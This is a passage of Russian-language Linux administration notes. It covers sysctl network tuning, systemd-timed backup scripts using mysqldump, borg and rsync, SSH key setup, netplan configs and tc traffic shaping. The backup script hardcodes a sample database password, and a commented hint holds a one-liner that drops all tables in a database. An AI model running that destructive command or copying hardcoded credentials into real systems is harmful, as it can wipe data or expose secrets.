40G на путях с RTT до 50 мс: # Буфер 128MB net.core.rmem_max = 134217728 net.core.wmem_max = 134217728 # Авто тюнинг буфера 64MB net.ipv4.tcp_rmem = 4096 87380 67108864 net.ipv4.tcp_wmem = 4096 65536 67108864 # # рекомендуемый контроль перегрузки по умолчанию / recommended default congestion control net.ipv4.tcp_congestion_control=htcp # на самом деле тут дофига вариантов brr, cubic, westwood+ # Если "jumbo frames enabled" то и этот параметр нужен. net.ipv4.tcp_mtu_probing=1 # Тип очередей net.core.default_qdisc = fq
Под trex
ulimit -n 30000 файлик /etc/sysctl.conf # custom net.ipv4.ip_forward=1 net.ipv4.tcp_max_tw_buckets = 65536 net.ipv4.tcp_tw_reuse = 0 net.ipv4.tcp_max_syn_backlog = 131072 net.ipv4.tcp_syn_retries = 3 net.ipv4.tcp_synack_retries = 3 net.ipv4.tcp_retries1 = 3 net.ipv4.tcp_retries2 = 8 net.ipv4.tcp_rmem = 16384 174760 349520 net.ipv4.tcp_wmem = 16384 131072 262144 net.ipv4.tcp_mem = 262144 524288 1048576 net.ipv4.tcp_max_orphans = 65536 net.ipv4.tcp_fin_timeout = 10 net.ipv4.tcp_low_latency = 1 net.ipv4.tcp_syncookies = 0 net.netfilter.nf_conntrack_max = 1048576 net.core.rmem_max = 16777216 net.core.wmem_max = 16777216 net.ipv4.tcp_rmem = 4096 87380 16777216 net.ipv4.tcp_wmem = 4096 65536 16777216
RTT/ Буферы / Как посчитать буфер, пример:
Не актуальные умолчания: Windows XP размер буфера по умолчанию равен 17,520 байт Mac OS X установлен в 64K Linux 64Кбайт Формула: Пропускная способность = размер буфера / задержка Винда: 17520 Байт / .04 секунды = .44 МБ/сек = 3.5 Мб/сек Мак ос: 65936 Байт / .04 сек = 1.6 МБ/сек = 13 Мб/сек Большинство экспертов по сетям соглашаются, что оптимальный размер буфера для определенной сети равен удвоенному произведению задержки и полосы пропускания: Размер буфера = 2 * задержка * полоса пропускания Программа ping даст вам округленное время (round trip time - RTT) для сетевого соединения, что в два раза больше задержки. Формула принимает следующий вид: Размер буфера = RTT * полоса пропускания .08 секунд * 100 Мбс / 8 = 1 МБ Пример: cat /etc/sysctl.conf ... # увеличиваем максимальный размер буфера ТСР net.core.rmem_max = 16777216 net.core.wmem_max = 16777216 # увеличиваем ограничения автоподчтройки буфера ТСР Linux # мин, по умолчанию, и максимальное число байт, которое можно использовать net.ipv4.tcp_rmem = 4096 87380 16777216 net.ipv4.tcp_wmem = 4096 65536 16777216
Контроль перегрузки / рекомендуемый контроль перегрузки по умолчанию / recommended default congestion control
0. Проверить какие контроли перегрузки нам доступны: sysctl net.ipv4.tcp_available_congestion_control cat /proc/sys/net/ipv4/tcp_available_congestion_control 1. Проверить какие контроли перегрузки сейчас активны: sysctl net.ipv4.tcp_congestion_control cat /proc/sys/net/ipv4/tcp_congestion_control 2. Примеры включения: Включить контроль перегрузки "cubic"без перезагрузки ОС. sysctl -w net.ipv4.tcp_congestion_control=cubic Включить очередь "fq" без перезагрузки ОС sysctl -w net.core.default_qdisc=fq_codel sysctl -w net.core.default_qdisc=fq Пример добавления в файл /etc/sysctl.conf, контроль перегрузки bbr net.core.default_qdisc=fq net.ipv4.tcp_congestion_control=bbr
BBR
BBR (Bottleneck Bandwidth and RTT) — алгоритма контроля перегрузки TCP, патчи с которым ещё в 2016 году были опубликованы компанией Google и приняты в основное ядро Linux. Применение этой технологии в некоторых случаях позволяет значительно увеличить пропускную способность канала передачи данных. Несколько тестов и информация по настройке BBR далее. sysctl -w net.ipv4.tcp_slow_start_after_idle=0 net.core.default_qdisc=fq net.ipv4.tcp_congestion_control=bbr В ядре требуется активировать: CONFIG_TCP_CONG_BBR=m CONFIG_NET_SCH_FQ_CODEL=y CONFIG_NET_SCH_FQ=m
Ссылки:
как ставить сам borg можно посмотреть тут:borgbackup / backup / borg debian 10 / без шифрования репозитория
backup files
0. Создаем каталоги:
mkdir -p /root/backup/{etc,www,sql}
1. Создаем скрипт для бэкапа и вносим изменения для переменных
cat > /root/backup/backup.sh << "EOF"
----------------------------
#!/bin/bash
#VAR
TIMESTAMP=`date +%m-%d-%y-%H%M`
HOST=localhost
DBNAME="dbname"
USER="dbuser"
PASSWORD="dbPassw0rd"
DUMP_PATH=/root/backup/sql
BACK_PATH=/root/backup/www
BACK_PATH_ETC=/root/backup/etc
# BACKUP
cd /root/backup
# Backup mysql
mysqldump --opt -c -e -Q -h${HOST} -u${USER} -p${PASSWORD} ${DBNAME} > ${DBNAME}.sql
tar czpf ${DUMP_PATH}/${DBNAME}.${TIMESTAMP}.tar.gz ${DBNAME}.sql
rm -f ${DBNAME}.sql
# Backing up files
#tar cvzpf $BACK_PATH/www.$TIMESTAMP.tar.gz --same-owner --exclude=/var/www/site/gruzims/* /var/www
tar cvzpf ${BACK_PATH}/www.${TIMESTAMP}.tar.gz /var/www/html
tar cvzpf ${BACK_PATH_ETC}/etc.${TIMESTAMP}.tar.gz /etc
# CLEAN FOLDER BACKUP
# выполняем только если файлов в каталогах для бекапа больше двух
delfiles(){
for i in $1 $2 $3 $4 $5 $6; do
calc=$(ls ${i} | wc -l)
if ((${calc} > 2)); then true ; else false ; fi && find ${i} -name "*.tar.gz" -mtime +15 -delete
done
}
delfiles ${DUMP_PATH} ${BACK_PATH} ${BACK_PATH_ETC}
EOF
2. Создаем сервис в systemd
cat > /etc/systemd/system/backup-wp.service << "EOF"
[Unit]
Description=backup
[Service]
Type=oneshot
ExecStart=/root/backup/backup.sh
Restart=on-failure
[Install]
WantedBy=multi-user.target
EOF
3. Создаем таймер в systemd для будем бэкапить в 2 часа ночи
cat > /etc/systemd/system/backup.timer << "EOF"
[Unit]
Description=backup
[Timer]
OnCalendar=02:00:00
[Install]
WantedBy=timers.target
EOF
4. Активируем сервисы для бекапа
systemctl daemon-reload
systemctl enable backup-wp.service
systemctl enable backup-wp.timer
systemctl status backup-wp.service
systemctl status backup-wp.timer
systemctl list-timers backup-wp.timer
5. Может пригодится:
#HINT
# SYSTEMCTL
# systemctl status backup-wp.service
# systemctl status backup-wp.timer
# Clean DB erase
# mysqldump -uuser -ppassword --add-drop-table --no-data databasename | grep ^DROP | mysql -uuser -ppassword databasename
# Clean not work
# drop databases mydatabasedump.sql;
# create databases mydatabasedump.sql;
# RESTORE
# mysql -u root -p -f mydatabase < /home/myname/mydatabasedump.sql
# RSYNC to remote server
# sync -avz /root/backup-wp user@YOU-server-IP-DNS:/home/user/backup-wp
ssh ssh-keygen ssh-copy
Создать пользователя "USRER_NAME" с домашним каталогом "/backup/USRER_CATALOG_BACKUP": adduser --home /backup/USRER_CATALOG_BACKUP --disabled-password borg USRER_NAME Подключится пользователем sudo -i -u USRER_NAME ssh - поддержка авторизация без пароля с помощью RSA ключей Выполнять на клиенте с которого будем подключатся к серверу. ssh-keygen - создаем пару ключей на сервере с которого будем подключатся. ssh-copy-id sammy@IP_адрес_вашего_сервера - копирование открытого ключа На сервере куда будем класть бэкапы, пользователю в домашнем каталоге добавляем публичные ключи: .ssh/authorized_keys Если нет каталога .ssh можно его создать mkdir .ssh touch .ssh/authorized_keys chmod 700 .ssh chmod 600 .ssh/authorized_keys
borgbackup
1. Создаем сервис в systemd
cat > /etc/systemd/system/borg-backup.service << "EOF"
[Unit]
Description=borg-backup
[Service]
Type=oneshot
ExecStart=/root/borg-backup.sh
Restart=on-failure
[Install]
WantedBy=multi-user.target
EOF
2. Создаем таймер в systemd для будем бэкапить в 3 часа ночи
cat > /etc/systemd/system/borg-backup.timer << "EOF"
[Unit]
Description=borg-backup.timer
[Timer]
OnCalendar=03:00:00
[Install]
WantedBy=timers.target
EOF
3. скрипт бэкапа
cat > /root/borg-backup.sh << "EOF"
#!/bin/bash
/usr/bin/borg create -C lz4 borg@IP_AND_HOSTNAME:FOLDER_BACKUP::system_$(date +%Y%m%d_%H%M%S) /root /home /etc
EOF
chmod +x /root/borg-backup.sh
4. Активируем сервисы для бекапа
systemctl daemon-reload
systemctl enable borg-backup.service
systemctl enable borg-backup.timer
systemctl start borg-backup.timer
systemctl status borg-backup.service
systemctl status borg-backup.timer
systemctl list-timers borg-backup.timer
systemctl start borg-backup.service
5. Чистилка бэкапов
cat > /root/borg-prune.sh << "EOF"
#!/bin/bash
list_backup="linux linux2 linux3 linux4 linux5"
borg_purn_par="--force -v --list --keep-daily 10 --keep-weekly 5 --keep-monthly 8"
borg_backup_dir="/backup/"
#prune
for i in ${list_backup}; do
borg prune ${borg_purn_par} ${borg_backup_dir}${i}/
done
#compact
for i in ${list_backup}; do
echo "compact for folder ${i}"
borg compact ${borg_backup_dir}${i}/
done
#print dir
for i in ${list_backup}; do
echo ${i}
borg list ${borg_backup_dir}${i}/
done
#retun user chown
for i in ${list_backup}; do
chown borg:borg -R ${borg_backup_dir}${i}
echo "done chown for borg ${i}"
done
EOF
chmod +x /root/borg-prune.sh
6. Таймеры для чистилки
Создаем сервис в systemd
cat > /etc/systemd/system/borg-prune.service << "EOF"
[Unit]
Description=borg-prune
[Service]
Type=oneshot
ExecStart=/root/borg-prune.sh
Restart=on-failure
[Install]
WantedBy=multi-user.target
EOF
Создаем таймер в systemd для будем бэкапить в 3 часа ночи
cat > /etc/systemd/system/borg-prune.timer << "EOF"
[Unit]
Description=borg-prune
[Timer]
OnCalendar=04:00:00
[Install]
WantedBy=timers.target
EOF
systemctl daemon-reload
systemctl enable borg-prune.service
systemctl enable borg-prune.timer
systemctl start borg-prune.timer
systemctl status borg-prune.service
systemctl status borg-prune.timer
systemctl list-timers borg-prune.timer
systemctl start borg-prune.service
rsync systemd
0. Создаем сервис для rsync cat > /etc/systemd/system/store_rsync.service << "EOF" [Unit] Description=store rsync [Service] Type=oneshot ExecStart=/root/store_rsync.sh User=root Restart=on-failure [Install] WantedBy=multi-user.target EOF 1. Создаем таймер для запуска сервиса cat > /etc/systemd/system/store_rsync.timer << "EOF" [Unit] Description=store_rsync [Timer] OnCalendar=6:00:00 [Install] WantedBy=timers.target EOF 2. Создаем скрипт для синхронизации, например такой cat > /root/store_rsync.sh <<"EOF" #!/bin/bash set +x # Устанавливаем IP-адрес для проверки HOST="192.168.15.10" # Пингуем хост (1 раз с таймаутом 3 секунды) ping -c 1 -W 3 $HOST > /dev/null 2>&1 # Проверяем результат пинга if [ $? -ne 0 ]; then echo "Ошибка: Хост $HOST не доступен!" exit 1 else echo "Хост $HOST доступен, выполняем ниже стоящие команды." fi #/usr/bin/rsync -avz /kvm/datastore2/backup hsrvrsync@192.168.15.100:/mnt/Storage3/backup-from-hsrv/ #/usr/bin/rsync -avz /kvm/datastore2/hsrv1/kvm/storage/toshibahdwd120 hsrvrsync@192.168.15.100:/mnt/Storage2/share-from-hsrv/ EOF 3. Запускаем демоны и выполняем первичный запуск systemctl daemon-reload systemctl enable store_rsync.service systemctl enable store_rsync.timer systemctl start store_rsync.timer systemctl status borg-prune.service systemctl status store_rsync.service systemctl list-timers store_rsync.timer systemctl start store_rsync.service
netplan
Ссылки:
https://netplan.io/ https://habr.com/ru/articles/448400/ https://interface31.ru/tech_it/2020/08/nastroyka-seti-v-linux-pri-pomoshhi-netplan.html
Нафига?:
Что
Все чаще встречается в образа для cloud install (debian12 gns, ubuntu)
При чистой установке debian 12 по прежнему ставится networking.
установка в debian
apt install netplan
Файлы конфигурации находятся по пути /etc/netplan/имяфайла.yaml, между каждым блоком когда должно быть + 2 пробела.
Структура YAML файла:
поле0:
поле1:значение1
поле2:
-элементсписка1
-элементсписка2
netplan generate - создать конфигурационные файлы на основании сетевых конфигураций
netplan try - проверить сетевые настройки
netplan apply - применить сетевые настройки без тестирования
Пример конфига с dhcp:
network:
version: 2
renderer: networkd
ethernets:
ens33:
dhcp4: true
Пример статики с роутами и днсами:
network:
version: 2
renderer: networkd
ethernets:
ens33:
dhcp4: false
addresses: [192.168.233.154/24]
gateway4: 192.168.233.2
nameservers:
addresses: [1.1.1.1, 8.8.8.8]
Если требуется указать несколько IP-адресов для одного интерфейса, то запись будет выглядеть так:
addresses: [192.168.233.154/24, 192.168.1.154/24] или addresses: - 192.168.233.154/24 - 192.168.1.154/24
Пример статики с роутами и днсами (более правильный для устаревшего/deprecated gateway4):
ens33:
dhcp4: false
addresses:
- 192.168.233.154/24
routes:
- to: default
via: 192.168.233.2
- to: 192.168.111.0/24
via: 192.168.233.101
nameservers:
addresses:
- 1.1.1.1
- 8.8.8.8
Пример wi-fi:
network:
version: 2
renderer: networkd
wifis:
wlx8416f91d8de0:
dhcp4: true
access-points:
MyWiFi:
password: Pa$$word_1
Пример bond:
bonds: — блок, поясняющий что мы будем настраивать bonding
bond0: — произвольное имя интерфейса
interfaces: — набор интерфейсов собираемых в bond
parameters: — описываем блок настройки параметров
mode: — указываем мод по которому будет работать bonding
mii-monitor-interval: — задаем интервал мониторинга 1 сек
bonds:
bond0:
dhcp4: no
interfaces: [enp3s0f0, enp3s0f1]
parameters:
mode: 802.3ad
mii-monitor-interval: 1
Пример vlan:
vlans: — объявляем блок настройки vlan
vlan10: — произвольное имя vlan интерфейса
id: — тег нашего vlan
link: — интерфейс через который vlan будет доступен
routes: — объявляем блок описания маршрутов
— to: — задаем адрес/подсеть до которой необходим маршрут
via: — указываем шлюз через которой будет доступна наша подсеть
on-link: — указываем что прописывать маршруты всегда при поднятии линка
vlans:
vlan10:
id: 10
link: bond0
dhcp4: no
addresses: [10.10.10.2/24]
gateway: 10.10.10.1
routes:
- to: 10.10.10.2/24
via: 10.10.10.1
on-link: true
виртуальные фейсы
network:
version: 2
renderer: networkd
ethernets:
enp7s0f0:
vlans:
veth0:
id: 0
link: enp7s0f0
addresses: [10.0.0.1/24]
macaddress: aa:bb:cc:dd:ee:ff
veth1:
id: 0
link: enp7s0f0
addresses: [10.0.1.2/24]
macaddress: aa:bb:cc:dd:ee:ff
tc / traffic control
Вводная инфа:
Управление трафиком
Traffic Control, tc, Шейпинг, управление трафиком, HTB
Разделение, ограничение и управление трафиком - актуальная и сложная задача,
которую обычно возлагают на дорогостоящее специальное сетевое оборудование.
Но решить ее можно и с помощью подсистемы Linux-ядра Traffic Control (tc входит в пакет iproute2)
Ограничение без потерь возможно только в отношении исходящего трафика.
Стек протоколов TCP/IP не предусматривает возможности заставить удаленную сторону слать пакеты медленнее (и это правильно).
Shaping.
Шейпинг - ограничение трафика, задержка пакетов с целью создания желаемой скорости передачи.
Может использоваться не только для "сужения" исходящего канала, но и для сглаживания бросков во время пиковых нагрузок.
Scheduling.
Планирование – упорядочивание типов трафика в канале.
Позволяет избегать задержек для критичных типов трафика (QoS).
Policing.
Политика входящего трафика.
Позволяет ограничить входящий трафик путем уничтожения превысивших лимит пакетов.
Помогает бороться с DDoS.
Основные параметры:
Дисциплина обработки пакетов (qdisc) - очередь пакетов и закрепленный за ней алгоритм обработки.
Класс (class) - логический контейнер, который может содержать несколько подклассов или дисциплину.
Фильтр (filter) - механизм классификации трафика.
Формат указания скорости в утилите tc
mbps = 1024 kbps = 1024 * 1024 bps => Байт/с
mbit = 1024 kbit => Кбит/с
mb = 1024 kb = 1024 * 1024 b => Байт
Наиболее используемые дисциплины
pfifo - Простейшая очередь FIFO (первым пришел, первым ушел).
Размер буфера задается в пакетах.
bfifo - Аналог pfifo с буфером, размер которого задается в байтах.
pfifo_fast - Реализует простую очередь FIFO с тремя полосами.
Используется по умолчанию в качестве корневой и не принимает аргументов.
tbf - Token Bucket Filter (TBF).
Передает поступающие пакеты со скоростью, не превышающей заданный порог.
Простая и точная реализация делает ее идеальным решением для ограничения полосы пропускания всего интерфейса.
sfq - Stochastic Fairness Queueing (SFQ).
(одна из лучших)Реализация алгоритма справедливой очереди.
Поровну разделяет полосу пропускания между несколькими соединениями.
Эффективно работает только на загруженном интерфейсе.
red - Random Early Detection (RED).
Симуляция затора.
Отбрасывает пакеты случайным образом при достижении заданной полосы пропускания.
Хорошо подходит для ограничения прожорливых в плане трафика приложений.
prio - Разделяет трафик по приоритетам (поле TOS).
По умолчанию создает три класса, в первый из которых попадают пакеты с большим приоритетом, а в третий - с наименьшим.
cbq - Class Based Queueing (CBQ).
Классовая дисциплина, предназначенная для создания сложных систем управления трафиком.
Поддерживает ограничения и приоритеты.
htb - Hierarchical Token Bucket (HTB).
(хорошо умеет работать с ip, во всех руководствах по шейпингу вы ее обязательно встретите)
Предназначена для разделения полосы пропускания между различными видами трафика на полосы заданной ширины, с возможностью заимствования.
Поддерживает приоритеты.
Синтаксис tc:
Usage: tc [ OPTIONS ] OBJECT { COMMAND | help }
tc [-force] -batch filename
where OBJECT := { qdisc | class | filter | chain |
action | monitor | exec }
OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[aw] |
-o[neline] | -j[son] | -p[retty] | -c[olor]
-b[atch] [filename] | -n[etns] name | -N[umeric] |
-nm | -nam[es] | { -cf | -conf } path
-br[ief] }
tc qdisc - покажет состояние шейпинга в данный момент для всех интерфейсов.
Смотрим статистику прохождения пакетов:
tc -s -d qdisc show dev eth0
tc -s -d class show dev eth0
tc -s -d filter show dev eth0
Быстро удалить все классы, фильтры и вернуть root qdisc интерфейса в первоначальное состояние можно командой:
tc qdisc del dev eth0 root
Это самый простой без классовый пример:
tc qdisc add dev eth1 root tbf rate 256kbit latency 50ms burst 1540 - qdisc add - добавляем новую дисциплину (для удаления используй del). - dev eth1 - указываем устройство, к которому будет привязана дисциплина. - root - наша дисциплина корневая (будет обрабатываться весь трафик). - tbf - имя дисциплины. - rate 256kbit latency 50ms burst 1540 - параметры, специфичные для данной дисциплины: rate - ограничение скорости, latency - максимальный "возраст" пакета в очереди, burst - размер буфера
Пример создание классовой очереди HTB
Создадим дисциплину: tc qdisc add dev eth1 root handle 1: htb default 13 Опция "default 13" говорит о том, что весь не классифицированный фильтрами трафик должен быть обработан с помощью дисциплин класса "1:13". Создадим класс под дисциплину: tc class add dev eth1 parent 1: classid 1:1 htb rate 10mbps ceil 10mbps Создадим в нем подклассы: tc class add dev eth1 parent 1:1 classid 1:11 htb rate 5mbps ceil 10mbps tc class add dev eth1 parent 1:1 classid 1:12 htb rate 2mbps tc class add dev eth1 parent 1:1 classid 1:13 htb rate 1mbps По умолчанию к вновь созданным классам подключены дисциплины, реализующие очередь FIFO. Это нам не подходит. Чтобы канал равномерно распределялся между всеми участниками под сети, мы должны подключить к ним дисциплину sfq: tc qdisc add dev eth1 parent 1:11 handle 10:0 sfq perturb 10 tc qdisc add dev eth1 parent 1:12 handle 20:0 sfq perturb 10 tc qdisc add dev eth1 parent 1:13 handle 30:0 sfq perturb 10 Теперь подключим фильтры, которые будут классифицировать трафик: tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32 match ip src 10.55.0.0/24 flowid 1:11 tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32 match ip src 10.55.1.0/24 flowid 1:12 Для примера, установим ограничение в 256 Кбит/с для пользователя, находящегося в под сети "все остальные". Сначала добавим к "классу под сети" новый "класс-пользователь": tc class add dev eth1 parent 1:13 classid 1:150 htb rate 256kbps А затем фильтр: tc filter add dev eth1 protocol ip parent 1:13 prio 1 u32 match ip src 10.55.55.7 flowid 1:150
Пример:
tc qdisc add dev eth1 root handle 1: htb default 13 tc class add dev eth1 parent 1: classid 1:1 htb rate 256kbps ceil 6mbps tc class add dev eth1 parent 1:1 classid 1:11 htb rate 3mbps tc class add dev eth1 parent 1:1 classid 1:12 htb rate 2mbps tc class add dev eth1 parent 1:1 classid 1:13 htb rate 256kbps tc qdisc add dev eth1 parent 1:11 handle 10:0 sfq perturb 10 tc qdisc add dev eth1 parent 1:12 handle 20:0 sfq perturb 10 tc qdisc add dev eth1 parent 1:13 handle 30:0 sfq perturb 10 tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32 match ip src 10.55.55.0/24 flowid 1:11 tc filter add dev eth1 protocol ip parent 1:0 prio 1 u32 match ip src 10.66.66.0/24 flowid 1:12 tc class add dev eth1 parent 1:13 classid 1:150 htb rate 256kbps tc filter add dev eth1 protocol ip parent 1:13 prio 1 u32 match ip src 10.55.55.7 flowid 1:150
Пример:
tc qdisc add dev eth0 root handle 1: htb default 15 tc class add dev eth0 parent 1: classid 1:1 htb rate 100mbps ceil 100mbps tc class add dev eth0 parent 1:1 classid 1:11 htb rate 30mbps ceil 100mbps tc class add dev eth0 parent 1:1 classid 1:12 htb rate 20mbps tc class add dev eth0 parent 1:1 classid 1:13 htb rate 10mbps tc class add dev eth0 parent 1:1 classid 1:14 htb rate 5mbps tc class add dev eth0 parent 1:1 classid 1:15 htb rate 40mbps tc qdisc add dev eth0 parent 1:11 handle 10:0 sfq perturb 10 tc qdisc add dev eth0 parent 1:12 handle 20:0 sfq perturb 10 tc qdisc add dev eth0 parent 1:13 handle 30:0 sfq perturb 10 tc qdisc add dev eth0 parent 1:14 handle 40:0 sfq perturb 10 tc qdisc add dev eth0 parent 1:15 handle 50:0 sfq perturb 10 tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src 172.16.1.0/24 flowid 1:11 tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src 172.16.2.0/24 flowid 1:12 tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src 172.16.3.0/24 flowid 1:13 tc filter add dev eth0 protocol ip parent 1:0 prio 1 u32 match ip src 172.16.4.0/24 flowid 1:14 tc class add dev eth0 parent 1:15 classid 1:150 htb rate 256kbps tc filter add dev eth0 protocol ip parent 1:15 prio 1 u32 match ip src 172.16.1.32 flowid 1:150
Конспект: sysctl
sysctl
sysctl - позволяет посмотреть параметры в системы и внести изменения, такие как стек tcp/ip, виртуальной памяти sysctl -a - показывает все параметры sysctl -A | less - отобразить все динамические параметры ядра sysctl -f - выполняем для применения изменений без перезагрузки sysctl -p - выполняем для применения изменений без перезагрузки sysctl -p changes.conf - принять изменения в changes.conf без перезагрузки !!! /proc/sys/ !!! kern kernel зависит от дистрибутива !!! клавиша TAB в помощь sysctl kern.ipc.numopensockets — показывает количество открытых сокетов sysctl kern.openfiles — показывает количество открытых файлов sysctl kernel.hostname - показать имя системы sysctl fs.nr_open - cколько дескрипторов файлов используется sysctl net.ipv4.ip_forward cat /proc/sys/net/ipv4/ip_forward - проверяем текущие состояние ip_forward cat /proc/sys/kernel/hostname - показать имя системы sysctl -w net.ipv6.conf.all.disable_ipv6=1 - выключить ipv6 sysctl -w net.ipv6.conf.default.disable_ipv6=1 - выключить ipv6
ip_forward
!!! Самое частое ради чего лезут в sysctl это включают forward для сетевых интерфейсов net.ipv4.ip_forward=1 net.ipv6.conf.all.forwarding=1 cat /proc/sys/net/ipv4/ip_forward - проверяем текущие состояние ip_forward echo 1 > /proc/sys/net/ipv4/ip_forward - так мы можем включить IP forward !!! Для постоянного включения необходимо отредактировать файл /etc/sysctl.conf, найти строку net.ipv4.ip_forward=1 и убрать комментарий с неё vim /etc/sysctl.conf --------------------- # Uncomment the next line to enable packet forwarding for IPv4 net.ipv4.ip_forward=1 --------------------- sysctl -p - выполняем для применения изменений без перезагрузки
ipv6
!!! отключение ipv6 достаточно бесполезная фигня не делай этого если не знаешь зачем хочешь его отключить #disable ipv6 settins net.ipv6.conf.all.disable_ipv6 = 1 net.ipv6.conf.default.disable_ipv6 = 1 net.ipv6.conf.lo.disable_ipv6 = 1
файлы
Ограничения на всю систему по открытым файлам: sysctl fs.file-max - показать максимальное количество открытых файлов sysctl fs.file-max=102400 - меняем максимальное количества открытых файлов echo "1024 50000" > /proc/sys/net/ipv4/ip_local_port_range - диапазон портов vim /etc/sysctl.conf fs.file-max=102400 - Ввод по умолчанию sysctl.conf sysctl -p - выполняем для применения изменений без перезагрузки ограничения открытых файлов shell/script ulimit -a - Смотрим ограничения ulimit -n 10240 - Меняем ограничение на количество открытых файлов, только shell ограничения user / process cat /etc/security/limits.conf * hard nproc 250 - Ограничения пользовательских процессов asterisk hard nofile 409600 - Ограничения на открытые файлы приложения
монтирование / mount
Разрешить пользователям монтирование дисков: # sysctl vfs.usermount=1 # Или впишите строку "vfs.usermount=1" in /etc/sysctl.conf
Таблица NAT:
# sysctl net.netfilter.nf_conntrack_max - посмотреть текущий размер таблицы NAT net.netfilter.nf_conntrack_max = 65536 # sysctl -a | grep conntrack_max - посмотреть текущий размер таблицы NAT net.netfilter.nf_conntrack_max = 65536 net.ipv4.netfilter.ip_conntrack_max = 65536 net.nf_conntrack_max = 65536 # sysctl net.netfilter.nf_conntrack_count - посмотреть заполненность таблицы net.netfilter.nf_conntrack_count = 654 # Решение ошибки "nf_conntrack: table full, dropping packet" net.ipv4.netfilter.ip_conntrack_max=1548576
Отключаем ответы на ping
!!! Не надо отключать пинг sysctl net.ipv4.icmp_echo_ignore_all - узнаем что с пингом sysctl -w net.ipv4.icmp_echo_ignore_all=1 - отключаем ответ на ping sysctl -w net.ipv4.icmp_echo_ignore_all=0 - включаем ответ на ping чтоб сохранялось при перегрузке nano /etc/sysctl.conf - проверяем значение net.ipv4.icmp_echo_ignore_all=1 - выставляем 1 и сохраняем
rp_filter
!!! Не рекомендуется включать, если вы не знаете зачем. net.ipv4.conf.default.rp_filter=1 net.ipv4.conf.all.rp_filter=1 Принцип фильтрования в rp_filter: Если ответ на текущий пакет не может уйти через тот же интерфейс (когда приходит через один интерфейс, а уходит через другой), пакет отфильтровывается. По умолчанию: net.ipv4.conf.all.rp_filter = 1 Выключение rp_filter для всех интерфейсов: for i in /proc/sys/net/ipv4/conf/*/rp_filter ; do echo 0 > $i done
Network SFP+
!!! Современные дистрибутивы автоматически настраивают оптимальные параметры сетевой карты # Разрешить тестирование с буферами до 64МБ net.core.rmem_max = 67108864 net.core.wmem_max = 67108864 # Увеличить лимит буфера TCP автонастройки Linux до 32 МБ net.ipv4.tcp_rmem = 4096 87380 33554432 net.ipv4.tcp_wmem = 4096 65536 33554432 # Рекомендуемый контроль перегрузки по умолчанию — htcp net.ipv4.tcp_congestion_control=htcp # Рекомендуется для хостов с включенными большими кадрами net.ipv4.tcp_mtu_probing=1 # Рекомендуется включить "fair queueing/справедливую очередь" net.core.default_qdisc = fq
swap
vm.swappiness = 10 - начинать использовать swap когда осталось 10% памяти (0 не использовать swap)
ipv4
https://www.opennet.ru/docs/RUS/LARTC/x1727.html /proc/sys/net/ipv4/icmp_echo_ignore_all Параметр может принимать два значения -- 0 (выключено) и 1 (включено). Значение по-умолчанию -- 0 (выключено). Если записана 1, то ядро просто игнорирует все ICMP Echo Request запросы и тогда никто не сможет ping-ануть вашу машину, чтобы проверить ее наличие в сети, что само по себе не есть хорошо. С одной стороны -- окружающие лишены возможности проверить ваше присутствие в сети, с другой -- существует масса приложений, которые используют ICMP Echo Request запросы далеко не в благовидных целях. Вообщем все как всегда -- что-то плохо, а что-то хорошо. /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts Эта переменная очень близка по смыслу к icmp_echo_ignore_all, только в данном случае будут игнорироваться ICMP-сообщения, отправленные на широковещательный или групповой адрес. Вполне очевидно, почему полезно включить этот параметр -- защита от smurf атак. /proc/sys/net/ipv4/icmp_ignore_bogus_error_responses Отдельные маршрутизаторы, вопреки стандартам, описанным в RFC 1122, отправляют фиктивные ответы в широковещательном диапазоне. Обычно эти ошибки заносятся в системный журнал. Если вы не желаете регистрировать их, то включите этот параметр и тем самым сбережете некоторый объем дискового пространства в своей системе. Параметр может принимать два значения -- 0 (выключено) и 1 (включено). Значение по-умолчанию -- 0 (выключено) /proc/sys/net/ipv4/icmp_ratelimit Максимальная частота генерации ICMP-пакетов с типом, указанным в icmp_ratemask (см. ниже). Это значение задается в "тиках" и устанавливает временной интервал между ICMP-посылками. Таким образом, значение 0 означает отсутствие ограничений. Обычно 1 "тик" равен 0.01 секунды, так значение 1 в этой переменной ограничивает скорость передачи не более 100 посылок в секунду, а значение 100 -- не более 1 посылки в секунду. Значение по-умолчанию -- 100 (зависит от конфигурации ядра), что означает не более 1 ICMP посылки за интервал в 100 "тиков". /proc/sys/net/ipv4/icmp_ratemask Маска ICMP типов, на которые накладывается ограничение по частоте генерации переменной icmp_ratelimit. Каждый из ICMP типов маскируется своим битом. icmp_ratemask -- это битовая маска, где каждый ICMP тип представлен своим битом. Соответствие между символическим названием ICMP типа и его порядковым номером вы найдете в заголовочном файле netinet/ip_icmp.h (обычно это /usr/include/netinet/ip_icmp.h). За дополнительной информацией обращайтесь к RFC 792 - Internet Control Message Protocol. Значение по-умолчанию -- 6168 /proc/sys/net/ipv4/igmp_max_memberships Максимальное число групп на каждый сокет. Значение по-умолчанию -- 20 и может быть изменено по мере необходимости. /proc/sys/net/ipv4/inet_peer_maxttl Это максимальное время хранения записей. При незначительных нагрузках на систему неиспользуемые записи будут удаляться через данный промежуток времени. /proc/sys/net/ipv4/inet_peer_minttl Параметр определяет минимальное время хранения данных в "inet peer storage". Это время должно быть достаточно большим, чтобы перекрыть время сборки фрагментов на противоположной стороне. Минимальное время хранения является гарантией того, что размер пула будет меньше чем величина inet_peer_threshold. /proc/sys/net/ipv4/inet_peer_threshold Здесь хранится приблизительный размер памяти для "inet peer storage". Когда размер пула достигает этой величины, то "сборщик мусора" переводится в более агрессивный режим работы -- с периодом прохода inet_peer_gc_mintime. Кроме того, этот порог влияет на срок хранения записей. Чем выше этот порог, тем больше срок хранения. /proc/sys/net/ipv4/ip_default_ttl Устанавливает значение по-умолчанию для величины Time To Live исходящих пакетов. Это число определяет продолжительность "жизни" пакета в Internet. Каждый раз, когда пакет попадает на очередной роутер (брандмауэр и т.п.), величина TTL пакета уменьшается на 1. Значение по-умолчанию -- 64 /proc/sys/net/ipv4/ip_dynaddr Параметр используется для разрешения некоторых проблем, связанных с динамической адресацией. Позволяет демону diald одновременно устанавливать соединение и изменять исходящий адрес в пакетах (и сокетах для локальных процессов). Эта возможность была 